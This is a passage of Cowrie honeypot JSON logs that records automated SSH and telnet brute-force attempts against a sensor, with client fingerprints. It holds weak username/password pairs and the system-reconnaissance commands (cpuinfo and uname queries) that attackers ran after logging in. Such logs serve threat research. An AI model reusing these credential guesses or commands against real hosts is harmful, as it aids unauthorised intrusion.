a-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:24.450189Z","src_ip":"192.109.200.78","session":"0c6da456d0af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:24.708324Z","src_ip":"192.109.200.78","session":"0c6da456d0af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.51308012008667,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:25.650549Z","src_ip":"206.189.71.75","session":"6f5d00773939","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.17392826080322,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:25.733525Z","src_ip":"206.189.71.75","session":"1f01974b6752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:25.880543Z","src_ip":"192.109.200.78","session":"0c6da456d0af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":46474,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a8cf60873fe","protocol":"telnet","message":"New connection: 206.189.71.75:46474 (159.203.135.109:23) [session: 8a8cf60873fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:27.514370Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":47254,"dst_ip":"159.203.135.109","dst_port":23,"session":"57e484953616","protocol":"telnet","message":"New connection: 206.189.71.75:47254 (159.203.135.109:23) [session: 57e484953616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:27.577352Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48094,"dst_ip":"10.17.0.5","dst_port":22,"session":"50be6dfa4a44","protocol":"ssh","message":"New connection: 192.109.200.78:48094 (10.17.0.5:22) [session: 50be6dfa4a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:28.739432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:28.743990Z","src_ip":"192.109.200.78","session":"50be6dfa4a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:28.826838Z","src_ip":"192.109.200.78","session":"50be6dfa4a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:29.075608Z","src_ip":"192.109.200.78","session":"50be6dfa4a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:30.161526Z","src_ip":"192.109.200.78","session":"50be6dfa4a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":48842,"dst_ip":"159.203.135.109","dst_port":23,"session":"e680b2772770","protocol":"telnet","message":"New connection: 206.189.71.75:48842 (159.203.135.109:23) [session: e680b2772770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:30.218771Z"}
{"eventid":"cowrie.session.closed","duration":33.82991051673889,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:31.346015Z","src_ip":"206.189.71.75","session":"36ff065d1242","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48104,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e2191f3e0f1","protocol":"ssh","message":"New connection: 192.109.200.78:48104 (10.17.0.5:22) [session: 1e2191f3e0f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:32.876956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:32.881963Z","src_ip":"192.109.200.78","session":"1e2191f3e0f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:32.964235Z","src_ip":"192.109.200.78","session":"1e2191f3e0f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.353763Z","src_ip":"192.109.200.78","session":"1e2191f3e0f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39038,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b6f47c955c9","protocol":"ssh","message":"New connection: 159.203.92.129:39038 (159.203.135.109:22) [session: 1b6f47c955c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.683888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.688113Z","src_ip":"159.203.92.129","session":"1b6f47c955c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.696019Z","src_ip":"159.203.92.129","session":"1b6f47c955c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@1","message":"login attempt [admin/Admin@1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.710904Z","src_ip":"159.203.92.129","session":"1b6f47c955c9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.760621Z","src_ip":"159.203.92.129","session":"1b6f47c955c9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.763372Z","src_ip":"159.203.92.129","session":"1b6f47c955c9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.766471Z","src_ip":"159.203.92.129","session":"1b6f47c955c9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.775706Z","src_ip":"159.203.92.129","session":"1b6f47c955c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:33.781822Z","src_ip":"159.203.92.129","session":"1b6f47c955c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":51604,"dst_ip":"159.203.135.109","dst_port":23,"session":"a75e46ac14e7","protocol":"telnet","message":"New connection: 206.189.71.75:51604 (159.203.135.109:23) [session: a75e46ac14e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:34.294969Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:34.437927Z","src_ip":"192.109.200.78","session":"1e2191f3e0f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":52292,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cc61568c872","protocol":"telnet","message":"New connection: 206.189.71.75:52292 (159.203.135.109:23) [session: 1cc61568c872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:35.244510Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":48118,"dst_ip":"10.17.0.5","dst_port":22,"session":"c01711336978","protocol":"ssh","message":"New connection: 192.109.200.78:48118 (10.17.0.5:22) [session: c01711336978]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:37.150418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:37.156318Z","src_ip":"192.109.200.78","session":"c01711336978","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":52884,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0c360cd2e37","protocol":"telnet","message":"New connection: 206.189.71.75:52884 (159.203.135.109:23) [session: e0c360cd2e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:37.170511Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:37.239177Z","src_ip":"192.109.200.78","session":"c01711336978","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:37.485186Z","src_ip":"192.109.200.78","session":"c01711336978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:38.572091Z","src_ip":"192.109.200.78","session":"c01711336978","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.96778225898743,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:38.635926Z","src_ip":"206.189.71.75","session":"3f3e89c715aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":55012,"dst_ip":"159.203.135.109","dst_port":23,"session":"cbcc562af305","protocol":"telnet","message":"New connection: 206.189.71.75:55012 (159.203.135.109:23) [session: cbcc562af305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:39.358888Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":55236,"dst_ip":"159.203.135.109","dst_port":23,"session":"26ecf0775299","protocol":"telnet","message":"New connection: 206.189.71.75:55236 (159.203.135.109:23) [session: 26ecf0775299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:39.628061Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":56074,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9528c536cd9","protocol":"telnet","message":"New connection: 206.189.71.75:56074 (159.203.135.109:23) [session: c9528c536cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:40.721552Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47606,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ebffea4203e","protocol":"ssh","message":"New connection: 192.109.200.78:47606 (10.17.0.5:22) [session: 1ebffea4203e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:41.455662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:41.460542Z","src_ip":"192.109.200.78","session":"1ebffea4203e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:41.546016Z","src_ip":"192.109.200.78","session":"1ebffea4203e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:41.807800Z","src_ip":"192.109.200.78","session":"1ebffea4203e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.09622120857239,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:41.846660Z","src_ip":"206.189.71.75","session":"13470b6b1477","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:42.018744Z","src_ip":"192.109.200.78","session":"1ebffea4203e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:42.021990Z","src_ip":"192.109.200.78","session":"1ebffea4203e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:42.109391Z","src_ip":"192.109.200.78","session":"1ebffea4203e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:42.114259Z","src_ip":"192.109.200.78","session":"1ebffea4203e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":57840,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf9d478a651d","protocol":"telnet","message":"New connection: 206.189.71.75:57840 (159.203.135.109:23) [session: cf9d478a651d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:43.953152Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47626,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2e0eafad032","protocol":"ssh","message":"New connection: 192.109.200.78:47626 (10.17.0.5:22) [session: c2e0eafad032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:45.669911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:02:45.674367Z","src_ip":"192.109.200.78","session":"c2e0eafad032","protocol":"ssh"}
